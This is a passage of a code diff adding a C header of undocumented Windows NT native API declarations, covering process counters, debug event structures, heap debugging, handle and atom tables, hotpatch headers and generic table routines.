SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; +} VM_COUNTERS; +typedef VM_COUNTERS *PVM_COUNTERS; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct _IO_COUNTERS { + ULONGLONG ReadOperationCount; + ULONGLONG WriteOperationCount; + ULONGLONG OtherOperationCount; + ULONGLONG ReadTransferCount; + ULONGLONG WriteTransferCount; + ULONGLONG OtherTransferCount; +} IO_COUNTERS; +typedef IO_COUNTERS *PIO_COUNTERS; +#endif + +// SystemProcessesAndThreadsInformation +//FIXED 21.02.2011 size for x64 (and as well for x86 too) +typedef struct _SYSTEM_PROCESSES_INFORMATION { + ULONG NextEntryDelta; + ULONG ThreadCount; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + VM_COUNTERS VmCounters; + IO_COUNTERS IoCounters; + SYSTEM_THREAD_INFORMATION Threads[1]; +} SYSTEM_PROCESSES_INFORMATION, *PSYSTEM_PROCESSES_INFORMATION; + +#define SIZEOF_BP_BUFFER 32 +#define LPC_BUFFER_SIZE 0x130 + +typedef struct _DBGKM_EXCEPTION +{ + EXCEPTION_RECORD ExceptionRecord; + ULONG FirstChance; +} DBGKM_EXCEPTION, *PDBGKM_EXCEPTION; + +typedef struct _DBGKM_CREATE_THREAD +{ + ULONG SubSystemKey; + PVOID StartAddress; +} DBGKM_CREATE_THREAD, *PDBGKM_CREATE_THREAD; + +typedef struct _DBGKM_CREATE_PROCESS +{ + ULONG SubSystemKey; + HANDLE FileHandle; + PVOID BaseOfImage; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + DBGKM_CREATE_THREAD InitialThread; +} DBGKM_CREATE_PROCESS, *PDBGKM_CREATE_PROCESS; + +typedef struct _DBGKM_EXIT_THREAD +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_THREAD, *PDBGKM_EXIT_THREAD; + +typedef struct _DBGKM_EXIT_PROCESS +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_PROCESS, *PDBGKM_EXIT_PROCESS; + +typedef struct _DBGKM_LOAD_DLL +{ + HANDLE FileHandle; + PVOID BaseOfDll; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + PVOID NamePointer; +} DBGKM_LOAD_DLL, *PDBGKM_LOAD_DLL; + +typedef struct _DBGKM_UNLOAD_DLL +{ + PVOID BaseAddress; +} DBGKM_UNLOAD_DLL, *PDBGKM_UNLOAD_DLL; + +typedef enum _DBG_STATE +{ + DbgIdle, + DbgReplyPending, + DbgCreateThreadStateChange, + DbgCreateProcessStateChange, + DbgExitThreadStateChange, + DbgExitProcessStateChange, + DbgExceptionStateChange, + DbgBreakpointStateChange, + DbgSingleStepStateChange, + DbgLoadDllStateChange, + DbgUnloadDllStateChange +} DBG_STATE, *PDBG_STATE; + +typedef struct _DBGUI_CREATE_THREAD +{ + HANDLE HandleToThread; + DBGKM_CREATE_THREAD NewThread; +} DBGUI_CREATE_THREAD, *PDBGUI_CREATE_THREAD; + +typedef struct _DBGUI_CREATE_PROCESS +{ + HANDLE HandleToProcess; + HANDLE HandleToThread; + DBGKM_CREATE_PROCESS NewProcess; +} DBGUI_CREATE_PROCESS, *PDBGUI_CREATE_PROCESS; + +typedef struct _DBGUI_WAIT_STATE_CHANGE +{ + DBG_STATE NewState; + CLIENT_ID AppClientId; + union + { + DBGKM_EXCEPTION Exception; + DBGUI_CREATE_THREAD CreateThread; + DBGUI_CREATE_PROCESS CreateProcessInfo; + DBGKM_EXIT_THREAD ExitThread; + DBGKM_EXIT_PROCESS ExitProcess; + DBGKM_LOAD_DLL LoadDll; + DBGKM_UNLOAD_DLL UnloadDll; + } StateInfo; +} DBGUI_WAIT_STATE_CHANGE, *PDBGUI_WAIT_STATE_CHANGE; + +#define DEBUG_READ_EVENT 0x0001 +#define DEBUG_PROCESS_ASSIGN 0x0002 +#define DEBUG_SET_INFORMATION 0x0004 +#define DEBUG_QUERY_INFORMATION 0x0008 +#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + DEBUG_READ_EVENT | DEBUG_PROCESS_ASSIGN | DEBUG_SET_INFORMATION | \ + DEBUG_QUERY_INFORMATION) + +#define DEBUG_KILL_ON_CLOSE 0x1 + +typedef enum _DEBUGOBJECTINFOCLASS +{ + DebugObjectFlags = 1, + MaxDebugObjectInfoClass +} DEBUGOBJECTINFOCLASS, *PDEBUGOBJECTINFOCLASS; + + +//added 21/03/2011 +//begin +typedef struct _RTL_HEAP_TAG_INFO +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; +} RTL_HEAP_TAG_INFO, *PRTL_HEAP_TAG_INFO; + +#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS +#define MAKE_TAG( t ) (RTL_HEAP_MAKE_TAG( NtdllBaseTag, t )) + +typedef NTSTATUS (NTAPI *PRTL_ENUM_HEAPS_ROUTINE)( + IN PVOID HeapHandle, + IN PVOID Parameter + ); + +typedef struct _RTL_HEAP_USAGE_ENTRY +{ + struct _RTL_HEAP_USAGE_ENTRY *Next; + PVOID Address; + SIZE_T Size; + USHORT AllocatorBackTraceIndex; + USHORT TagIndex; +} RTL_HEAP_USAGE_ENTRY, *PRTL_HEAP_USAGE_ENTRY; + +typedef struct _RTL_HEAP_USAGE +{ + ULONG Length; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + SIZE_T BytesReserved; + SIZE_T BytesReservedMaximum; + PRTL_HEAP_USAGE_ENTRY Entries; + PRTL_HEAP_USAGE_ENTRY AddedEntries; + PRTL_HEAP_USAGE_ENTRY RemovedEntries; + ULONG_PTR Reserved[8]; +} RTL_HEAP_USAGE, *PRTL_HEAP_USAGE; + +#define HEAP_USAGE_ALLOCATED_BLOCKS HEAP_REALLOC_IN_PLACE_ONLY +#define HEAP_USAGE_FREE_BUFFER HEAP_ZERO_MEMORY + +typedef struct _RTL_HEAP_WALK_ENTRY +{ + PVOID DataAddress; + SIZE_T DataSize; + UCHAR OverheadBytes; + UCHAR SegmentIndex; + USHORT Flags; + union + { + struct + { + SIZE_T Settable; + USHORT TagIndex; + USHORT AllocatorBackTraceIndex; + ULONG Reserved[2]; + } Block; + struct + { + ULONG CommittedSize; + ULONG UnCommittedSize; + PVOID FirstEntry; + PVOID LastEntry; + } Segment; + }; +} RTL_HEAP_WALK_ENTRY, *PRTL_HEAP_WALK_ENTRY; + +#define HeapDebuggingInformation 0x80000002 + +typedef NTSTATUS (NTAPI *PRTL_HEAP_LEAK_ENUMERATION_ROUTINE)( + IN LONG Reserved, + IN PVOID HeapHandle, + IN PVOID BaseAddress, + IN SIZE_T BlockSize, + IN ULONG StackTraceDepth, + IN PVOID *StackTrace + ); + +typedef struct _HEAP_DEBUGGING_INFORMATION +{ + PVOID InterceptorFunction; + USHORT InterceptorValue; + ULONG ExtendedOptions; + ULONG StackTraceDepth; + SIZE_T MinTotalBlockSize; + SIZE_T MaxTotalBlockSize; + PRTL_HEAP_LEAK_ENUMERATION_ROUTINE HeapLeakEnumerationRoutine; +} HEAP_DEBUGGING_INFORMATION, *PHEAP_DEBUGGING_INFORMATION; + +// added 11/04/2011 +#define PREALLOCATE_EVENT_MASK 0x80000000 + +#define RtlInitializeLockRoutine(L) RtlInitializeCriticalSectionAndSpinCount((PRTL_CRITICAL_SECTION)(L),(PREALLOCATE_EVENT_MASK | 4000)) +#define RtlAcquireLockRoutine(L) RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L)) +#define RtlReleaseLockRoutine(L) RtlLeaveCriticalSection((PRTL_CRITICAL_SECTION)(L)) +#define RtlDeleteLockRoutine(L) RtlDeleteCriticalSection((PRTL_CRITICAL_SECTION)(L)) + +typedef struct _RTL_MEMORY_ZONE_SEGMENT +{ + struct _RTL_MEMORY_ZONE_SEGMENT *NextSegment; + SIZE_T Size; + PVOID Next; + PVOID Limit; +} RTL_MEMORY_ZONE_SEGMENT, *PRTL_MEMORY_ZONE_SEGMENT; + +#if defined(_WINNT_) && defined(_MSC_VER) && (_MSC_VER < 1300) +typedef struct _RTL_SRWLOCK { + PVOID Ptr; +} RTL_SRWLOCK, *PRTL_SRWLOCK; +#endif + +typedef struct _RTL_MEMORY_ZONE +{ + RTL_MEMORY_ZONE_SEGMENT Segment; + RTL_SRWLOCK Lock; + ULONG LockCount; + PRTL_MEMORY_ZONE_SEGMENT FirstSegment; +} RTL_MEMORY_ZONE, *PRTL_MEMORY_ZONE; + +typedef struct _RTL_PROCESS_VERIFIER_OPTIONS +{ + ULONG SizeStruct; + ULONG Option; + UCHAR OptionData[1]; +} RTL_PROCESS_VERIFIER_OPTIONS, *PRTL_PROCESS_VERIFIER_OPTIONS; + +typedef struct _RTL_PROCESS_LOCKS { + ULONG NumberOfLocks; + RTL_PROCESS_LOCK_INFORMATION Locks[ 1 ]; +} RTL_PROCESS_LOCKS, *PRTL_PROCESS_LOCKS; + +#define MAX_STACK_DEPTH 32 + +typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION { + PCHAR SymbolicBackTrace; + ULONG TraceCount; + USHORT Index; + USHORT Depth; + PVOID BackTrace[ MAX_STACK_DEPTH ]; +} RTL_PROCESS_BACKTRACE_INFORMATION, *PRTL_PROCESS_BACKTRACE_INFORMATION; + +typedef struct _RTL_PROCESS_BACKTRACES { + ULONG CommittedMemory; + ULONG ReservedMemory; + ULONG NumberOfBackTraceLookups; + ULONG NumberOfBackTraces; + RTL_PROCESS_BACKTRACE_INFORMATION BackTraces[ 1 ]; +} RTL_PROCESS_BACKTRACES, *PRTL_PROCESS_BACKTRACES; + +typedef struct _RTL_DEBUG_INFORMATION +{ + HANDLE SectionHandleClient; + PVOID ViewBaseClient; + PVOID ViewBaseTarget; + ULONG_PTR ViewBaseDelta; + HANDLE EventPairClient; + HANDLE EventPairTarget; + HANDLE TargetProcessId; + HANDLE TargetThreadHandle; + ULONG Flags; + SIZE_T OffsetFree; + SIZE_T CommitSize; + SIZE_T ViewSize; + union + { + PRTL_PROCESS_MODULES Modules; + PRTL_PROCESS_MODULE_INFORMATION_EX *ModulesEx; + }; + PRTL_PROCESS_BACKTRACES BackTraces; + PRTL_PROCESS_HEAPS Heaps; + PRTL_PROCESS_LOCKS Locks; + PVOID SpecificHeap; + HANDLE TargetProcessHandle; + PRTL_PROCESS_VERIFIER_OPTIONS VerifierOptions; + PVOID ProcessHeap; + HANDLE CriticalSectionHandle; + HANDLE CriticalSectionOwnerThread; + PVOID Reserved[4]; +} RTL_DEBUG_INFORMATION, *PRTL_DEBUG_INFORMATION; + +//added 21/03/2011 +//end + + +// added: 22/04/2011 - RtlStream +typedef struct _RTL_MEMORY_STREAM_DATA *PRTL_MEMORY_STREAM_DATA; +typedef struct _RTL_MEMORY_STREAM_WITH_VTABLE *PRTL_MEMORY_STREAM_WITH_VTABLE; +typedef struct _RTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA *PRTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA; + +HRESULT +NTAPI +RtlReleaseMemoryStream( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream + ); + +HRESULT +NTAPI +RtlSetMemoryStreamSize( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream, + ULARGE_INTEGER ULargeInteger + ); + +HRESULT +NTAPI +RtlCommitMemoryStream( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream, + ULONG NewStream + ); + +HRESULT +NTAPI +RtlRevertMemoryStream( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream + ); + +NTSTATUS +NTAPI +RtlCopySecurityDescriptor( + PSECURITY_DESCRIPTOR SourceDescriptor, + PSECURITY_DESCRIPTOR DestinationDescriptor + ); + + +typedef struct _RTL_HANDLE_TABLE_ENTRY +{ + union + { + ULONG Flags; + struct _RTL_HANDLE_TABLE_ENTRY *NextFree; + }; +} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY; + +#define RTL_HANDLE_ALLOCATED (USHORT)0x0001 + +typedef struct _RTL_HANDLE_TABLE +{ + ULONG MaximumNumberOfHandles; + ULONG SizeOfHandleTableEntry; + ULONG Reserved[2]; + PRTL_HANDLE_TABLE_ENTRY FreeHandles; + PRTL_HANDLE_TABLE_ENTRY CommittedHandles; + PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; + PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; +} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE; + +#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct _JOB_SET_ARRAY { + HANDLE JobHandle; // Handle to job object to insert + DWORD MemberLevel; // Level of this job in the set. Must be > 0. Can be sparse. + DWORD Flags; // Unused. Must be zero +} JOB_SET_ARRAY, *PJOB_SET_ARRAY; +#endif + +VOID +NTAPI +RtlInitializeHandleTable( + IN ULONG MaximumNumberOfHandles, + IN ULONG SizeOfHandleTableEntry, + OUT PRTL_HANDLE_TABLE HandleTable + ); + +NTSTATUS +NTAPI +RtlDestroyHandleTable( + IN OUT PRTL_HANDLE_TABLE HandleTable + ); + +PRTL_HANDLE_TABLE_ENTRY +NTAPI +RtlAllocateHandle( + IN PRTL_HANDLE_TABLE HandleTable, + OUT OPTIONAL PULONG HandleIndex + ); + +BOOLEAN +NTAPI +RtlFreeHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN PRTL_HANDLE_TABLE_ENTRY Handle + ); + +BOOLEAN +NTAPI +RtlIsValidHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN PRTL_HANDLE_TABLE_ENTRY Handle + ); + +BOOLEAN +NTAPI +RtlIsValidIndexHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN ULONG HandleIndex, + OUT PRTL_HANDLE_TABLE_ENTRY *Handle + ); + +#define RTL_ATOM_MAXIMUM_INTEGER_ATOM (RTL_ATOM)0xc000 +#define RTL_ATOM_INVALID_ATOM (RTL_ATOM)0x0000 +#define RTL_ATOM_TABLE_DEFAULT_NUMBER_OF_BUCKETS 37 +#define RTL_ATOM_MAXIMUM_NAME_LENGTH 255 +#define RTL_ATOM_PINNED 0x01 + +NTSTATUS +NTAPI +RtlCreateAtomTable( + IN ULONG NumberOfBuckets, + OUT PVOID *AtomTableHandle + ); + +NTSTATUS +NTAPI +RtlDestroyAtomTable( + IN PVOID AtomTableHandle + ); + +NTSTATUS +NTAPI +RtlEmptyAtomTable( + IN PVOID AtomTableHandle, + IN BOOLEAN IncludePinnedAtoms + ); + +NTSTATUS +NTAPI +RtlAddAtomToAtomTable( + IN PVOID AtomTableHandle, + IN PWSTR AtomName, + IN OUT OPTIONAL PRTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlLookupAtomInAtomTable( + IN PVOID AtomTableHandle, + IN PWSTR AtomName, + OUT OPTIONAL PRTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlDeleteAtomFromAtomTable( + IN PVOID AtomTableHandle, + IN RTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlPinAtomInAtomTable( + IN PVOID AtomTableHandle, + IN RTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlQueryAtomInAtomTable( + IN PVOID AtomTableHandle, + IN RTL_ATOM Atom, + OUT OPTIONAL PULONG AtomUsage, + OUT OPTIONAL PULONG AtomFlags, + IN OUT PWSTR AtomName, + IN OUT OPTIONAL PULONG AtomNameLength + ); + +NTSTATUS +NTAPI +RtlQueryAtomsInAtomTable( + IN PVOID AtomTableHandle, + IN ULONG MaximumNumberOfAtoms, + OUT PULONG NumberOfAtoms, + OUT PRTL_ATOM Atoms + ); + +BOOLEAN +NTAPI +RtlGetIntegerAtom( + IN PWSTR AtomName, + OUT OPTIONAL PUSHORT IntegerAtom + ); + +#define EVENT_MIN_LEVEL (0) +#define EVENT_MAX_LEVEL (0xff) + +#define EVENT_ACTIVITY_CTRL_GET_ID (1) +#define EVENT_ACTIVITY_CTRL_SET_ID (2) +#define EVENT_ACTIVITY_CTRL_CREATE_ID (3) +#define EVENT_ACTIVITY_CTRL_GET_SET_ID (4) +#define EVENT_ACTIVITY_CTRL_CREATE_SET_ID (5) + + typedef ULONGLONG REGHANDLE, *PREGHANDLE; + +#define MAX_EVENT_DATA_DESCRIPTORS (128) +#define MAX_EVENT_FILTER_DATA_SIZE (1024) + + // + // EVENT_DATA_DESCRIPTOR is used to pass in user data items + // in events. + // + + typedef struct _EVENT_DATA_DESCRIPTOR + { + ULONG_PTR Ptr; // Pointer to data + ULONG Size; // Size of data in bytes + ULONG Reserved; + } EVENT_DATA_DESCRIPTOR, *PEVENT_DATA_DESCRIPTOR; + + typedef struct _EVENT_DESCRIPTOR + { + USHORT Id; + UCHAR Version; + UCHAR Channel; + UCHAR Level; + UCHAR Opcode; + USHORT Task; + ULONGLONG Keyword; + } EVENT_DESCRIPTOR, *PEVENT_DESCRIPTOR; + typedef const EVENT_DESCRIPTOR *PCEVENT_DESCRIPTOR; + + // + // EVENT_FILTER_DESCRIPTOR is used to pass in enable filter + // data item to a user callback function. + // + typedef struct _EVENT_FILTER_DESCRIPTOR + { + ULONG_PTR Ptr; + ULONG Size; + ULONG Type; + } EVENT_FILTER_DESCRIPTOR, *PEVENT_FILTER_DESCRIPTOR; + +// +// old nt4 channel stuff +// +//#pragma pack(1) +#pragma pack() +typedef struct _CHANNEL_MESSAGE +{ + PVOID Text; + ULONG Length; + PVOID Context; + PVOID Base; + union + { + BOOLEAN Close; + LONGLONG Align; + }; +} CHANNEL_MESSAGE, *PCHANNEL_MESSAGE; + +typedef struct _HOTPATCH_HEADER +{ + ULONG Signature; + ULONG Version; + ULONG FixupRgnCount; + ULONG FixupRgnRva; + ULONG ValidationCount; + ULONG ValidationArrayRva; + ULONG HookCount; + ULONG HookArrayRva; + ULONG_PTR OrigHotpBaseAddress; + ULONG_PTR OrigTargetBaseAddress; + ULONG TargetNameRva; + ULONG ModuleIdMethod; + union { + ULONG Filler; + } TargetModuleIdValue; +} HOTPATCH_HEADER, *PHOTPATCH_HEADER; + +typedef struct _HOTPATCH_MODULE_DATA +{ + USHORT HotpatchImageNameLength; + USHORT ColdpatchImagePathLength; + WCHAR NameBuffer[ 1 ]; +} HOTPATCH_MODULE_DATA, *PHOTPATCH_MODULE_DATA; + +typedef struct _HOTPATCH_MODULE_ENTRY +{ + struct _TRIPLE_LIST_ENTRY ListEntry; + struct _HOTPATCH_MODULE_DATA Data; +} HOTPATCH_MODULE_ENTRY, *PHOTPATCH_MODULE_ENTRY; + +typedef struct _HOTPATCH_HOOK +{ + USHORT HookType; + USHORT HookOptions; + ULONG HookRva; + ULONG HotpRva; + ULONG ValidationRva; +} HOTPATCH_HOOK, *PHOTPATCH_HOOK; + +typedef struct _RTL_PATCH_HEADER +{ + LIST_ENTRY PatchList; + PVOID PatchImageBase; + struct _RTL_PATCH_HEADER* NextPatch; + ULONG PatchFlags; + LONG PatchRefCount; + struct _HOTPATCH_HEADER* HotpatchHeader; + UNICODE_STRING TargetDllName; + HANDLE TargetDllBase; + PLDR_DATA_TABLE_ENTRY TargetLdrDataTableEntry; + PLDR_DATA_TABLE_ENTRY PatchLdrDataTableEntry; + PSYSTEM_HOTPATCH_CODE_INFORMATION CodeInfo; + PVOID ColdpatchFileHandle; + HOTPATCH_MODULE_ENTRY HotpatchModuleEntry; +} RTL_PATCH_HEADER, *PRTL_PATCH_HEADER; + + + +#pragma warning(default: 4273) // nconsistent dll linkage (winnt.h) + +#ifndef _SLIST_HEADER_ +#define _SLIST_HEADER_ + +#if defined(_M_X64) + +// +// The type SINGLE_LIST_ENTRY is not suitable for use with SLISTs. For +// WIN64, an entry on an SLIST is required to be 16-byte aligned, while a +// SINGLE_LIST_ENTRY structure has only 8 byte alignment. +// +// Therefore, all SLIST code should use the SLIST_ENTRY type instead of the +// SINGLE_LIST_ENTRY type. +// + +#pragma warning(push) +#pragma warning(disable:4324) // structure padded due to align() +typedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY *PSLIST_ENTRY; +typedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY { + PSLIST_ENTRY Next; +} SLIST_ENTRY; +#pragma warning(pop) + +#else + +#define SLIST_ENTRY SINGLE_LIST_ENTRY +#define _SLIST_ENTRY _SINGLE_LIST_ENTRY +#define PSLIST_ENTRY PSINGLE_LIST_ENTRY + +#endif + +#if defined(_M_X64) + +typedef struct DECLSPEC_ALIGN(16) _SLIST_HEADER { + ULONGLONG Alignment; + ULONGLONG Region; +} SLIST_HEADER; + +typedef struct _SLIST_HEADER *PSLIST_HEADER; + +#else + +typedef union _SLIST_HEADER { + ULONGLONG Alignment; + struct { + SLIST_ENTRY Next; + WORD Depth; + WORD Sequence; + }; +} SLIST_HEADER, *PSLIST_HEADER; + +#endif + +#endif + +// +// prototypes *must* be encapsulated with extern "C" macros at start and end of prototype block +// + +PSLIST_ENTRY +__fastcall +RtlInterlockedPushListSList ( + IN PSLIST_HEADER ListHead, + IN PSLIST_ENTRY List, + IN PSLIST_ENTRY ListEnd, + IN ULONG Count + ); + +VOID +NTAPI +RtlAssert( + IN PVOID VoidFailedAssertion, + IN PVOID VoidFileName, + IN ULONG LineNumber, + IN OPTIONAL PSTR MutableMessage + ); + +VOID +NTAPI +RtlInitializeGenericTableAvl ( + PRTL_AVL_TABLE Table, + PRTL_AVL_COMPARE_ROUTINE CompareRoutine, + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine, + PRTL_AVL_FREE_ROUTINE FreeRoutine, + PVOID TableContext + ); + +PVOID +NTAPI +RtlInsertElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL + ); + +PVOID +NTAPI +RtlInsertElementGenericTableFullAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL, + PVOID NodeOrParent, + TABLE_SEARCH_RESULT SearchResult + ); + +BOOLEAN +NTAPI +RtlDeleteElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTableFullAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer, + OUT PVOID *NodeOrParent, + OUT TABLE_SEARCH_RESULT *SearchResult + ); + +PVOID +NTAPI +RtlEnumerateGenericTableAvl ( + PRTL_AVL_TABLE Table, + BOOLEAN Restart + ); + +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplayingAvl ( + PRTL_AVL_TABLE Table, + PVOID *RestartKey + ); + +PVOID +NTAPI +RtlEnumerateGenericTableLikeADirectory ( + IN PRTL_AVL_TABLE Table, + IN PRTL_AVL_MATCH_FUNCTION MatchFunction, + IN PVOID MatchData, + IN ULONG NextFlag, + IN OUT PVOID *RestartKey, + IN OUT PULONG DeleteCount, + IN OUT PVOID Buffer + ); + +PVOID +NTAPI +RtlGetElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + ULONG I + ); + +ULONG +NTAPI +RtlNumberGenericTableElementsAvl ( + PRTL_AVL_TABLE Table + ); + +BOOLEAN +NTAPI +RtlIsGenericTableEmptyAvl ( + PRTL_AVL_TABLE Table + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlSplay ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlDelete ( + PRTL_SPLAY_LINKS Links + ); + +VOID +NTAPI +RtlDeleteNoSplay ( + PRTL_SPLAY_LINKS Links, + PRTL_SPLAY_LINKS *Root + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreeSuccessor ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreePredecessor ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlRealSuccessor ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlRealPredecessor ( + PRTL_SPLAY_LINKS Links + ); + +VOID +NTAPI +RtlInitializeGenericTable ( + PRTL_GENERIC_TABLE Table, + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, + PRTL_GENERIC_FREE_ROUTINE FreeRoutine, + PVOID TableContext + ); + +PVOID +NTAPI +RtlInsertElementGenericTable ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL + ); + +PVOID +NTAPI +RtlInsertElementGenericTableFull ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL, + PVOID NodeOrParent, + TABLE_SEARCH_RESULT SearchResult + ); + +BOOLEAN +NTAPI +RtlDeleteElementGenericTable ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTable ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTableFull ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer, + OUT PVOID *NodeOrParent, + OUT TABLE_SEARCH_RESULT *SearchResult + ); + +PVOID +NTAPI +RtlEnumerateGenericTable ( + PRTL_GENERIC_TABLE Table, + BOOLEAN Restart + ); + +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplaying ( + PRTL_GENERIC_TABLE Table, + PVOID *RestartKey + ); + +PVOID +NTAPI +RtlGetElementGenericTable( + PRTL_GENERIC_TABLE Table, + ULONG I + ); + +ULONG +NTAPI +RtlNumberGenericTableElements( + PRTL_GENERIC_TABLE Table + ); + +BOOLEAN +NTAPI +RtlIsGenericTableEmpty ( + PRTL_GENERIC_TABLE Table + ); + +NTSTATUS +NTAPI +RtlInitializeHeapManager( + ); + +PVOID +NTAPI +RtlCreateHeap( + IN ULONG Flags, + IN PVOID HeapBase OPTIONAL, + IN SIZE_T ReserveSize OPTIONAL, + IN SIZE_T CommitSize OPTIONAL, + IN PVOID Lock OPTIONAL, + IN PRTL_HEAP_PARAMETERS Parameters OPTIONAL + ); + +PVOID +NTAPI +RtlDestroyHeap( + IN PVOID HeapHandle + ); + +PVOID +NTAPI +RtlAllocateHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN SIZE_T Size + ); + +BOOLEAN +NTAPI +RtlFreeHeap( + IN PVOID HeapHandle, + IN OPTIONAL ULONG Flags, + IN PVOID BaseAddress + ); + +SIZE_T +NTAPI +RtlSizeHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress + ); + +NTSTATUS +NTAPI +RtlZeroHeap( + IN PVOID HeapHandle, + IN ULONG Flags + ); + +VOID +NTAPI +RtlProtectHeap( + IN PVOID HeapHandle, + IN BOOLEAN MakeReadOnly + ); + +ULONG +NTAPI +RtlGetNtGlobalFlags( + VOID + ); + +VOID +NTAPI +RtlGetCallersAddress( + OUT PVOID *CallersAddress, + OUT PVOID *CallersCaller + ); + +ULONG +NTAPI +RtlWalkFrameChain ( + OUT PVOID *Callers, + IN ULONG Count, + IN ULONG Flags + ); + +USHORT +NTAPI +RtlLogStackBackTrace( + VOID + ); + + +ULONG +NTAPI +RtlCaptureStackContext ( + OUT PULONG_PTR Callers, + OUT PRTL_STACK_CONTEXT Context, + IN ULONG Limit + ); + +BOOLEAN +NTAPI +RtlGetNtProductType( + PNT_PRODUCT_TYPE NtProductType + ); + +NTSTATUS +NTAPI +RtlFormatCurrentUserKeyPath ( + OUT PUNICODE_STRING CurrentUserKeyPath + ); + +NTSTATUS +NTAPI +RtlOpenCurrentUser( + IN ULONG DesiredAccess, + OUT PHANDLE CurrentUserKey + ); + +NTSTATUS +NTAPI +RtlQueryRegistryValues( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PRTL_QUERY_REGISTRY_TABLE QueryTable, + IN PVOID Context, + IN PVOID Environment OPTIONAL + ); + +NTSTATUS +NTAPI +RtlWriteRegistryValue( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PCWSTR ValueName, + IN ULONG ValueType, + IN PVOID ValueData, + IN ULONG ValueLength + ); + +NTSTATUS +NTAPI +RtlDeleteRegistryValue( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PCWSTR ValueName + ); + +NTSTATUS +NTAPI +RtlCreateRegistryKey( + IN ULONG RelativeTo, + IN PWSTR Path + ); + +NTSTATUS +NTAPI +RtlCheckRegistryKey( + IN ULONG RelativeTo, + IN PWSTR Path + ); + +//added 21/03/2011 +//begin +BOOLEAN +NTAPI +RtlLockHeap( + IN PVOID HeapHandle + ); + + +BOOLEAN +NTAPI +RtlUnlockHeap( + IN PVOID HeapHandle + ); + + +PVOID +NTAPI +RtlReAllocateHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN SIZE_T Size + ); + + +BOOLEAN +NTAPI +RtlGetUserInfoHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + OUT OPTIONAL PVOID *UserValue, + OUT 